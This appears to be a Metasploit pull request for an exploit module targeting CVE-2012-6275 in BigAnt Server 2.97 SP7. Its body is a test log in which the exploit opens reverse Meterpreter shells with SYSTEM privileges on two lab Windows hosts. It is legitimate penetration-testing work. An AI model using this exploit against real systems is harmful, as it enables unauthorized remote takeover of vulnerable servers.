rapid7/metasploit-framework — pull request #1499 by jvazquez-r7 (2013-02-17 19:28:48+00:00)
Title: Added module for CVE-2012-6275

Tested successfully with BigAnt Server 2.97 SP7 on Windows XP SP3 and Windows 2003 SP2:

```
msf exploit(bigant_server_dupf_bof) > use exploit/windows/misc/bigant_server_sch_dupf_bof
msf exploit(bigant_server_sch_dupf_bof) > set rhost 192.168.1.147
rhost => 192.168.1.147
msf exploit(bigant_server_sch_dupf_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Trying target BigAnt Server 2.97 SP7 / Windows XP SP3...
[*] Sending SCH request...
[*] Sending DUPF request...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 5 opened (192.168.1.128:4444 -> 192.168.1.147:1550) at 2013-02-17 20:19:01 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.147 - Meterpreter session 5 closed. Reason: User exit
msf exploit(bigant_server_sch_dupf_bof) > set target 1
target => 1
msf exploit(bigant_server_sch_dupf_bof) > set rhost 192.168.1.155
rhost => 192.168.1.155
msf exploit(bigant_server_sch_dupf_bof) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.128:4444
[*] Trying target BigAnt Server 2.97 SP7 / Windows 2003 SP2...
[*] Sending SCH request...
[*] Sending DUPF request...
[*] Sending stage (752128 bytes) to 192.168.1.155
[*] Meterpreter session 6 opened (192.168.1.128:4444 -> 192.168.1.155:1034) at 2013-02-17 20:20:11 +0100

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : JUAN-6ED9DB6CA8
OS : Windows .NET Server (Build 3790, Service Pack 2).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

```